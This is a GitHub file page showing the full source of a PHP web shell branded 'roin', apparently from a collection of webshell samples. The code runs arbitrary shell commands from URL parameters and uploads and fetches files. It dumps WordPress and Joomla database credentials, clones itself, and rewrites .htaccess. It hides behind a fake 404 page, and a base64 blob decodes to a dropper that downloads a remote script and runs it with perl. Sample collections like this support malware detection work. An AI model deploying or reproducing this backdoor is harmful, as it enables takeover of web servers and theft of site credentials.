-
Notifications
You must be signed in to change notification settings - Fork 466
/
Copy pathWebShell_b8b880447058dcacd60ab52be80279e32f9cdaeb.php
506 lines (459 loc) · 23.1 KB
/
WebShell_b8b880447058dcacd60ab52be80279e32f9cdaeb.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
<?php error_reporting(0);
set_time_limit(0);
class roin {
private $access = array('www-data', 'www', 'apache');
private $type, $os, $user;
public function __construct() {
$this->user = get_current_user();
$this->os = $this->check("os");
$this->type = $this->check("cmd");
if (!isset($_GET['1180'])) {
if (isset($_GET['x1'])) {
$this->form();
echo ($this->os == "windows") ? '<pre>' . $this->exe('dir') . '</pre>' : '<pre>' . $this->exe('ls -la') . '</pre>';
} else {
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
echo "<h1>Error 404 Not Found</h1>";
echo "The page that you have requested could not be found.";
die();
exit();
}
} else {
if (isset($_GET['x'])) {
switch ($_GET['x']) {
case 'get':
if (isset($_GET['file'])) {
$file = urldecode($_GET['file']);
$name = (isset($_GET['name'])) ? $_GET['name'] : "px.php";
$code = file_get_contents($file);
$myfile = fopen($name, "w+");
fwrite($myfile, $code);
fclose($myfile);
}
break;
case 'plbot':
$this->plBot();
break;
case 'clear':
$this->delete("px.php");
$this->delete("pl.php");
break;
case 'read':
if (isset($_GET['path'])) {
$path = urldecode($_GET['path']);
$this->setDB($path);
}
break;
case 'jdb':
$this->joomlaDb();
break;
case 'wpdb':
$this->wpDb();
break;
case 'mail':
$mail = (isset($_GET['to'])) ? urldecode($_GET['to']) : "[email protected]";
$host = $_SERVER["HTTP_HOST"];
$uri = $_SERVER["REQUEST_URI"];
$serv = gethostbyname($_SERVER['SERVER_ADDR']);
$addr = gethostbyname($_SERVER['REMOTE_ADDR']);
mail($mail, "kiriman bos " . $host . $uri, "Url:" . $host . $uri . " nIp :$servn Ip injector: $addr");
break;
case 'clone':
if (isset($_GET['path'])) {
$path = urldecode($_GET['path']);
if (strstr($path, ",")) {
$data = explode(",", $path);
if (is_array($data) && count($data) > 0) {
$data = array_filter($data);
if (count($data) > 0) {
foreach ($data as $k) {
$this->setClone($k);
}
}
}
} else {
$path = urldecode($_GET['path']);
$this->setClone($path);
}
} else {
$this->setClone('../.inc.php');
$this->setClone('../../.inc.php');
}
break;
case 'patch':
$lock = (isset($_GET['lock'])) ? 1 : 0;
$force = (isset($_GET['force'])) ? 1 : 0;
$path = "";
if (isset($_GET['path'])) {
$path = urldecode($_GET['path']);
if (strstr($path, ",")) {
$path = explode(",", $path);
}
}
if (isset($_GET['allow'])) {
$files = urldecode($_GET['allow']);
if (strstr($files, ",")) {
$file = explode(",", $files);
$this->setPatch($user, $file, $lock, $path, $force);
} else {
$this->setPatch($user, $files, $lock, $path, $force);
}
} else {
$this->setPatch($user, "", $lock, $path, $force);
}
break;
case 'chmod':
if (isset($_GET['dir'])) {
$dir = $_GET['dir'];
if ($dir == 1) {
chmod("./", 0555);
} else if ($dir == 2) {
chmod("./", 0555);
chmod("../", 0555);
} else if ($dir == 3) {
chmod("./", 0555);
chmod("../", 0555);
chmod("../../", 0555);
} else {
$dir = str_replace("|", "/", $dir);
chmod($dir, 0555);
}
}
break;
case 'die':
$source = $_SERVER['SCRIPT_FILENAME'];
@unlink($source);
break;
}
} else {
if (isset($_GET['del'])) {
$del = $_GET['del'];
if (strstr($del, ",")) {
$data = explode(",", $del);
if (is_array($data) && count($data) > 0) {
$data = array_filter($data);
foreach ($data as $k) {
$this->delete($k);
}
}
} else {
$this->delete($del);
}
}
$this->getForm();
}
}
}
private function plBot() {
$code = "PD9waHANCiR1cmwgPSAoaXNzZXQoJF9HRVRbJ3VybCddKSkgPyB1cmxkZWNvZGUoJF9HRVRbJ3VybCddKSA6ICJodHRwOi8vd3d3LmhvdGVscmlzdG9yYW50ZWxlcGFudG8uaXQvZm9ybS8vLi4uL3JvYm90LnR4
dCI7DQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCglAZXhlYygnd2dldCAnLiR1cmwuJyAtTyByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50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R4dDtybSAt
ZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ2NkIC90bXA7bHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXN
zdGhydSgnY2QgL3RtcDtmZXRjaCAtbyByb2JvdC50eHQgJy4kdXJsLic7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHBhc3N0aHJ1KCdjZCAvdG1wO0dFVCAnLiR1cmwuJz
twZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ3JtIC1yZiBpbmRleC5waHAuKicpOw0KCUBwYXNzdGhydSgncm0gLXJmIHJvYioudHh0Jyk7DQoJQHBhc3N0a
HJ1KCdybSAtcmYgcm9iKi50eHQqJyk7DQp9DQo/Pg==";
$code2 = base64_decode($code);
$myfile = fopen("pl.php", "w+");
fwrite($myfile, $code2);
fclose($myfile);
}
private function check($tipe) {
if ($tipe == "cmd") {
$result = 0;
if (function_exists('passthru')) {
$result = "passthru";
} elseif (function_exists('system')) {
$result = "system";
} elseif (function_exists('exec')) {
$result = "exec";
} elseif (function_exists('shell_exec')) {
$result = "shell_exec";
}
} else {
$result = "linux";
if (PHP_OS == "WINNT") {
$result = "windows";
} elseif (PHP_OS == "Linux") {
$result = "linux";
} elseif (PHP_OS == "FreeBSD") {
$result = "freebsd";
}
}
return $result;
}
private function getForm() {
$this->form();
if (isset($_GET['start'])) {
echo "<form enctype=multipart/form-data action method=POST><b>Upload File</b><br/><input type=hidden name=submit><input type=file name=userfile
size=28><br><b>New name: </b><input type=text size=15 name=newname class=ta><input type=submit class=bt value=Upload></form>";
$this->processForm();
$this->cmd();
} else {
$this->cmd();
}
}
private function form() {
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false) {
header('HTTP/1.0 404 Not Found');
echo "<h1>Error 404 Not Found</h1>";
echo "The page that you have requested could not be found.";
exit();
}
$safe = @ini_get('safe_mode');
$secure = (!$safe) ? "SAFE_MODE : OFF roin" : "SAFE_MODE : ON roin";
echo "<body style='background:#610680;
color:#fff;
font-family:monospace;
font-size:13px;
'>";
echo "<title>Touched By roin</title><br>";
echo "<b>" . $secure . "</b><br>";
$cur_user = "(" . $this->user . ")";
echo "<b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<b>Uname : " . php_uname() . "</b><br/>";
}
private function processForm() {
if (isset($_POST['submit'])) {
$uploaddir = $this->pwd();
if (!$name = $_POST['newname']) {
$name = $_FILES['userfile']['name'];
}
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
echo (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) ? "!!Upload Failed" : "Success Upload to " . $uploaddir . $name;
}
}
private function pwd() {
$cwd = getcwd();
if ($u = strrpos($cwd, '/')) {
return ($u != strlen($cwd) - 1) ? $cwd . '/' : $cwd;
} elseif ($u = strrpos($cwd, '/')) {
if ($u != strlen($cwd) - 1) {
return $cwd . '/';
} else {
return $cwd;
}
}
}
private function cmd($cmd = false) {
if ($cmd) {
echo '<pre>' . $this->exe($cmd) . '</pre>';
} else {
if (isset($_GET['q'])) {
echo '<pre>' . $this->exe($_GET['q']) . '</pre>';
} else {
echo ($this->os == "windows") ? '<pre>' . $this->exe('dir') . '</pre>' : '<pre>' . $this->exe('ls -la') . '</pre>';
}
}
}
private function exe($cmd) {
$res = '';
if ($this->type == "exec") {
@exec($cmd, $res);
$res = join("n", $res);
} elseif ($this->type == "shell_exec") {
$res = @shell_exec($cmd);
} elseif ($this->type == "system") {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif ($this->type == "passthru") {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
return $res;
}
private function setPatch($user, $data, $lock, $path, $force) {
$create = 1;
if (!$force) {
if (in_array($user, $this->access)) {
$create = 0;
}
}
if ($create) {
if ($lock) {
$i = 'deny from all' . PHP_EOL;
} else {
$i = '<Files ~ "(?i).(zip|rar|php|php.*|phtml|gif|png|phpgif|asp|asp.*)$">' . PHP_EOL;
$i.= 'deny from all' . PHP_EOL;
$i.= '</Files>' . PHP_EOL;
}
if (is_array($data)) {
foreach ($data as $k) {
$i.= '<Files "' . $k . '">' . PHP_EOL;
$i.= 'Order Allow,Deny' . PHP_EOL;
$i.= 'Allow from all' . PHP_EOL;
$i.= '</Files>' . PHP_EOL;
}
} else {
if (!empty($data)) {
$i.= '<Files "' . $data . '">' . PHP_EOL;
$i.= 'Order Allow,Deny' . PHP_EOL;
$i.= 'Allow from all' . PHP_EOL;
$i.= '</Files>' . PHP_EOL;
} else {
$i.= '<Files "1x.php">' . PHP_EOL;
$i.= 'Order Allow,Deny' . PHP_EOL;
$i.= 'Allow from all' . PHP_EOL;
$i.= '</Files>' . PHP_EOL;
$i.= '<Files "string.php">' . PHP_EOL;
$i.= 'Order Allow,Deny' . PHP_EOL;
$i.= 'Allow from all' . PHP_EOL;
$i.= '</Files>' . PHP_EOL;
}
}
if (is_array($path)) {
foreach ($path as $k) {
$file = fopen($k, "w");
fwrite($file, $i);
fclose($file);
}
} else {
if (!empty($path)) {
$file = fopen($path, "w");
fwrite($file, $i);
fclose($file);
} else {
$file = fopen(".htaccess", "w");
fwrite($file, $i);
fclose($file);
}
}
}
}
private function setDB($file) {
$read = file_get_contents($file);
if ($read) {
echo $read;
} else {
echo "Unable to open file";
}
exit;
}
private function setClone($path) {
if (file_exists($path)) {
@unlink($path);
}
$source = $_SERVER['SCRIPT_FILENAME'];
copy($source, $path);
}
private function joomlaDb() {
$p1 = "../../../../../../../";
$p2 = "../../../../../../";
$p3 = "../../../../../";
$p4 = "../../../../";
$p5 = "../../../";
$p6 = "../../";
$p7 = "../";
$j = file_get_contents($p1 . "configuration.php");
if (!$j) {
$j = file_get_contents($p2 . "configuration.php");
if (!$j) {
$j = file_get_contents($p3 . "configuration.php");
if (!$j) {
$j = file_get_contents($p4 . "configuration.php");
if (!$j) {
$j = file_get_contents($p5 . "configuration.php");
if (!$j) {
$j = file_get_contents($p6 . "configuration.php");
if (!$j) {
$j = file_get_contents($p7 . "configuration.php");
if (!$j) {
$j = file_get_contents("configuration.php");
}
}
}
}
}
}
}
echo $j;
exit;
}
private function wpDb() {
$p1 = "../../../../../../../";
$p2 = "../../../../../../";
$p3 = "../../../../../";
$p4 = "../../../../";
$p5 = "../../../";
$p6 = "../../";
$p7 = "../";
$w = file_get_contents($p1 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p2 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p3 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p4 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p5 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p6 . "wp-config.php");
if (!$w) {
$w = file_get_contents($p7 . "wp-config.php");
if (!$w) {
$w = file_get_contents("wp-config.php");
}
}
}
}
}
}
}
echo $w;
exit;
}
private function delete($file) {
chmod("./", 0755);
chmod("../", 0755);
chmod("../../", 0755);
@unlink($this->pwd() . $file);
$this->exe('rm -rf ' . $file);
$this->exe('del ' . $file);
}
}
new roin();
?>